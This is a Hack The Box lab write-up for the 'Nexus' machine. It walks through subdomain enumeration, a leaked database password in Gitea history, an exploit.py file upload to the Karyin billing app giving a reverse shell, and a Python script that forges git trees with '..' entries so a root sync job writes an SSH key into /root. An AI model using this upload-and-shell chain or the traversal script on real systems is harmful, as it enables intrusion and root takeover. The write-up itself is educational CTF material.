> For the complete documentation index, see [llms.txt](https://majd.gitbook.io/majd-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://majd.gitbook.io/majd-docs/hack-the-box/machines/linux/easy/nexus.md).

# Nexus

### Enumeration :

Nmap:&#x20;

```shellscript
┌──(kali㉿kali)-[~]
└─$ nmap -A $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-03 20:38 +0300
Nmap scan report for 10.129.74.253
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   5.41 ms 192.168.139.1
2   5.50 ms 10.129.74.253

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.90 seconds

```

Only two ports open. Port 80 redirects to `nexus.htb`, so that gets added to `/etc/hosts`

After going over the website over port the home page I found two main emails :&#x20;

```
careers@nexus.htb
j.matthew@nexus.htb //Hiring manager 
```

we try both Directory and subdomain enumeration, However no directories are found, but two subdomains are there after using ffuf :&#x20;

```shellscript
┌──(kali㉿kali)-[~]
└─$ ffuf -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -fs 154

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nexus.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.nexus.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

billing                 [Status: 302, Size: 390, Words: 60, Lines: 12, Duration: 459ms]
git                     [Status: 200, Size: 14474, Words: 1195, Lines: 242, Duration: 221ms]
:: Progress: [151265/151265] :: Job [1/1] :: 128 req/sec :: Duration: [0:19:38] :: Errors: 0 ::
```

I added these hosts too `/etc/hosts`  too.&#x20;

I found after that in the billing page a login page and laravel debuger left ON :&#x20;

<figure><img src="https://1070181408-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlmYm4VmZPr8RG8iAr0nK%2Fuploads%2FhJYRpmHYgggOeGWkYUVw%2Fimage.png?alt=media&amp;token=367bf607-73d9-4fa5-9df8-1137d99357f1" alt=""><figcaption></figcaption></figure>

and inside the git subdomain found out Gitea Service

and has `docker-compose.yml` and an `.env` file

read the .env file found db username and no password

however tried to go over the git history and found that there's a password

<figure><img src="https://1070181408-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlmYm4VmZPr8RG8iAr0nK%2Fuploads%2Flztgvf18GH9EGhMKDjTo%2Fimage.png?alt=media&amp;token=e59e69ab-5700-41ab-bf64-07e25759128c" alt=""><figcaption></figcaption></figure>

```
DB_PASSWORD=N27xh!!2ucY04
```

with a combination of the previous email, founded and this password we find out that we can see that we got a successful login:

<figure><img src="https://1070181408-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlmYm4VmZPr8RG8iAr0nK%2Fuploads%2FL5Vm8GVyvb7SZOmGEzqK%2Fimage.png?alt=media&amp;token=47324204-2913-427a-b49a-6e806b978205" alt=""><figcaption></figcaption></figure>

### Exploitation:&#x20;

to the most top left we find that the version of Karyin is 2.2.0, we search online for it and we find that it's assosicated with the CVE `CVE-2026-38526`

we the exploit file from exploit db&#x20;

<figure><img src="https://1070181408-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlmYm4VmZPr8RG8iAr0nK%2Fuploads%2FvCuYT5w2nhWw64egJtzy%2Fimage.png?alt=media&amp;token=1c828617-9be0-489e-a2ca-9a2605a44107" alt=""><figcaption></figcaption></figure>

```shellscript
┌──(kali㉿kali)-[~/nexus]
└─$ python3 exploit.py -t http://billing.nexus.htb -u j.matthew@nexus.htb -p 'N27xh!!2ucY04' -f shell.php
[+] File uploaded successfully.
Path to file: http://billing.nexus.htb/storage/tinymce/11a6495accfa6abbfe2e005598bc8980.php
```

we open a listener in penelope :&#x20;

```shellscript
┌──(kali㉿kali)-[~]
└─$ penelope -p 1234
[+] Listening for reverse shells on 0.0.0.0:1234 -> * • * • *
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] [New Reverse Shell] => nexus 10.129.75.100 Linux-x86_64 👤 www-data(33) 😍 Session ID <1>
[+] ⭐ Agent deployed via /usr/bin/python3
[+] Interacting with session [1] • PTY • Menu key F12 ⇐
[+] Session log: /home/kali/.penelope/sessions/nexus~10.129.75.100-Linux-x86_64/2026_08_04-10_45_44-940-www-data(33).log
─────────────────────────────────────────────────────────────────────────────────────────
www-data@nexus:/$ 
```

we run the file :&#x20;

```shellscript
┌──(kali㉿kali)-[~]
└─$ curl http://billing.nexus.htb/storage/tinymce/a9362b57aee5b8d30232caea6c4cb8db.php
<html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
```

and we get and RCE with the user `www-data`

after getting on system I start searching for things inside the karyin web files, and read the .env and found about a different database password `y27xb3ha!!74GbR` after connecting  to mysql database we found out no useful data other than what we collected already.

### Previlage Escalation:

got a shell as jones by su-ing from the www-data shell using the db password again (still the same reused password):

```shellscript
www-data@nexus:/$ su jones
Password:
jones@nexus:/$
```

searched in home and got the first user flag

first thing I do is try to start the service manually to see if polkit lets me get away with it:

```shellscript
jones@nexus:/$ systemctl start gitea-template-sync.service
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
Authentication is required to start 'gitea-template-sync.service'.
Authenticating as: root
Password:
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
==== AUTHENTICATION FAILED ====
```

no luck there, but the earlier `systemctl status` output already told me it runs as root and executes `/usr/bin/python3 /etc/gitea/template-sync.py`. I go check the timer and service files directly:

```shellscript
jones@nexus:/$ cat /etc/systemd/system/gitea-template-sync.timer
[Unit]
Description=Run Gitea template sync every minute

[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
Unit=gitea-template-sync.service

[Install]
WantedBy=timers.target

jones@nexus:/$ cat /etc/systemd/system/gitea-template-sync.service
[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s
```

so it fires every minute, runs as root. confirmed the binding between timer and service too just to be sure:

```shellscript
jones@nexus:/$ systemctl show gitea-template-sync.timer -p Unit
Unit=gitea-template-sync.service
```

checked permissions on the script and the directory it lives in:

```shellscript
jones@nexus:/$ ls -la /etc/gitea/template-sync.py
-rw-r--r-- 1 git git 4184 May 11 18:47 /etc/gitea/template-sync.py
jones@nexus:/$ ls -ld /etc/gitea/
drwxr-xr-x 2 root git 4096 May 12 18:37 /etc/gitea/
jones@nexus:/$ id
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)
```

no write access, jones isn't in the `git` group, only read. read is enough though:

python

```python
import os
import sys
import json
import subprocess
import time
import urllib.request

GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"

def sync_template(repo_info):
    owner = repo_info['owner']['login']
    name = repo_info['name'].lower()
    bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
    stage_path = os.path.join(STAGING_DIR, owner, name)
    ...
    for mode, objhash, filepath in entries:
        target = os.path.join(stage_path, filepath)
        target_dir = os.path.dirname(target)
        os.makedirs(target_dir, exist_ok=True)
        ...
        with open(target, 'wb') as f:
            f.write(cat_result.stdout)
        if mode == '100755':
            os.chmod(target, 0o755)
        else:
            os.chmod(target, 0o644)
```

so basically: it logs into a local Gitea instance, looks for any repo that's flagged as a "Template Repository", clones/reads it, and for every file it runs `git ls-tree` and writes each entry into the staging folder using `os.path.join(stage_path, filepath)`. `filepath` comes straight from git with zero sanitization. if I can get a file entry with `../` in its name into a template repo, this script (running as root, every 60s) will happily write it wherever I want on disk.

double-checked I really had no other angle in, the script also reads a second config path:

```shellscript
jones@nexus:/$ ls -la /opt/forge/ 2>/dev/null
ls -la /opt/forge/app/ 2>/dev/null
cat /opt/forge/app/.env 2>/dev/null
jones@nexus:/$ find /opt -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
drwxr-xr-x 2 root root 4096 May 12 12:06 /opt
```

dead end, `/opt` is empty and root-owned. so the path traversal in the sync script is the way in.

staging dir is `/home/git/template-staging/jones/<repo>/` for anything I own, so to reach `/root/.ssh/authorized_keys` I need 5 levels of `../`.

first tried just staging a traversal path with normal git plumbing outside of any repo, which obviously wasn't going to work but wanted to confirm:

```shellscript
jones@nexus:/$ echo -n "payload content" | git hash-object -w --stdin
fatal: not a git repository (or any of the parent directories): .git
```

right, need an actual repo first. checked gitea is reachable locally:

```shellscript
jones@nexus:/$ curl -s http://localhost:3000/api/v1/version
{"version":"1.26.0"}
```

tried jones' password against it and hit a mess with bash eating the `!!` in the password as history expansion:

```shellscript
jones@nexus:/$ curl -s -u jones:y27xb3ha!!74GbR http://localhost:3000/api/v1/user
^C
```

fixed with `set +H`:

```shellscript
jones@nexus:/$ set +H
curl -s -u jones:y27xb3ha!!74GbR http://localhost:3000/api/v1/user
{"id":2,"login":"jones", ... "username":"jones"}
```

(tried escaping the `!` with backslashes instead at one point too, that version actually failed auth outright, so `set +H` was the real fix, not escaping)

created the payload repo through the API directly:

```shellscript
jones@nexus:/$ curl -s -u jones -X POST http://localhost:3000/api/v1/user/repos \
  -H "Content-Type: application/json" \
  -d '{"name":"payload","private":false,"auto_init":true}'
Enter host password for user 'jones':
{"id":2, ... "name":"payload", ... "template":false, ...}
```

tried cloning it using `git.nexus.htb` first, which doesn't resolve from inside the box itself:

```shellscript
jones@nexus:/tmp$ git clone http://jones@git.nexus.htb/jones/payload.git
Cloning into 'payload'...
fatal: unable to access 'http://git.nexus.htb/jones/payload.git/': Could not resolve host: git.nexus.htb
```

generated the ssh keypair while I was at it:

```shellscript
jones@nexus:/tmp$ ssh-keygen -t ed25519 -f /tmp/.k -N ''
```

tried the clone again with the password baked in, same DNS problem:

```shellscript
jones@nexus:/tmp$ git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/payload.git
cd payload
touch README.md
Cloning into 'payload'...
fatal: unable to access 'http://git.nexus.htb/jones/payload.git/': Could not resolve host: git.nexus.htb
bash: cd: payload: No such file or directory
```

switched to `localhost:3000` instead since gitea is running locally anyway, and that worked:

```shellscript
jones@nexus:/tmp$ git clone http://jones:'y27xb3ha!!74GbR'@localhost:3000/jones/payload.git
Cloning into 'payload'...
remote: Enumerating objects: 3, done.
Receiving objects: 100% (3/3), done.
```

then wrote a small script (`build.py`) that constructs the tree/commit objects by hand, so I can smuggle a `../../../../../root/.ssh/authorized_keys` path past git's normal validation:

python

```python
#!/usr/bin/env python3
import hashlib, zlib, os, subprocess, sys, time

def write_obj(data, t):
    h = ("%s %d" % (t, len(data))).encode() + b"\x00"
    s = h + data
    sha = hashlib.sha1(s).hexdigest()
    d = os.path.join(".git", "objects", sha[:2])
    os.makedirs(d, exist_ok=True)
    p = os.path.join(d, sha[2:])
    if not os.path.exists(p):
        open(p, "wb").write(zlib.compress(s))
    return sha

def entry(mode, name, sha):
    return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)

if not os.path.isdir(".git"):
    print("Run inside git repo"); sys.exit(1)

r = subprocess.run(["cat", "/tmp/.k.pub"], capture_output=True, text=True)
key = r.stdout.strip() + "\n"

blob   = write_obj(key.encode(), "blob")
readme = write_obj(b"# Template\n", "blob")

ssh_t = write_obj(entry("100644", "authorized_keys", blob), "tree")
cur   = write_obj(entry("40000", ".ssh", ssh_t), "tree")
fir   = write_obj(entry("40000", "root", cur), "tree")

for i in range(4):
    fir = write_obj(entry("40000", "..", fir), "tree")

root = write_obj(entry("100644", "README.md", readme) + entry("40000", "..", fir), "tree")

ts = int(time.time())
c = "tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n" % (root, ts, ts)
sha = write_obj(c.encode(), "commit")

os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha + "\n")
print("Done: " + sha)
```

4 nested `..` tree levels + a 5th `..` entry at the root tree = 5 levels of traversal, which is exactly enough to escape `/home/git/template-staging/jones/payload/` all the way up to `/root/`.

wrote the script while sitting inside `/tmp/payload` but pointed it at `/tmp/build.py`, then tried running it — except I ran it from `/tmp` instead of from inside the repo, so it just complained:

```shellscript
jones@nexus:/tmp$ python3 build.py
Run inside git repo
jones@nexus:/tmp$ python3 /tmp/build.py
Run inside git repo
```

cd'd into the actual repo and ran it again:

```shellscript
jones@nexus:/tmp$ cd payload/
jones@nexus:/tmp/payload$ python3 /tmp/build.py
Done: 0ca6c5ec706374bd51b74423dfde105ce5266c44
```

and force pushed it (git complains about some `.gitattributes` permission stuff on the way up but the push still goes through fine):

```shellscript
jones@nexus:/tmp/payload$ git push -u origin main --force
warning: unable to access '../../../../../root/.gitattributes': Permission denied
warning: unable to access '../../../../../root/.ssh/.gitattributes': Permission denied
...
To http://localhost:3000/jones/payload.git
 + 1ee15ea...0ca6c5e main -> main (forced update)
```

then flagged the repo as a Template through the API so the sync script actually picks it up:

```shellscript
jones@nexus:/tmp/payload$ curl -s -u jones -X PATCH http://localhost:3000/api/v1/repos/jones/payload \
  -H "Content-Type: application/json" -d '{"template":true}'
Enter host password for user 'jones':
{"id":2, ... "template":true, ...}
```

waited about a minute for the timer to fire again and checked the log (it had been running every minute the whole time finding 0 template repos, until this run):

```shellscript
jones@nexus:/tmp/payload$ cat /var/log/template-sync.log
...
[2026-08-04 08:12:43] Template sync starting
[2026-08-04 08:12:43] Found 0 template repo(s)
[2026-08-04 08:12:43] Template sync complete
[2026-08-04 08:13:43] Template sync starting
[2026-08-04 08:13:43] Found 1 template repo(s)
[2026-08-04 08:13:43] Syncing template: jones/payload
[2026-08-04 08:13:43]   synced: README.md
[2026-08-04 08:13:43]   synced: ../../../../../root/.ssh/authorized_keys
[2026-08-04 08:13:43] Template sync complete
```

it worked, my key got written to root's authorized\_keys. sshed straight into root over loopback since I was already on the box:

```shellscript
jones@nexus:/tmp/payload$ ssh -i /tmp/.k root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
...
root@nexus:~# ls /root/
root.txt
root@nexus:~# cat /root/root.txt
```

and that's root.
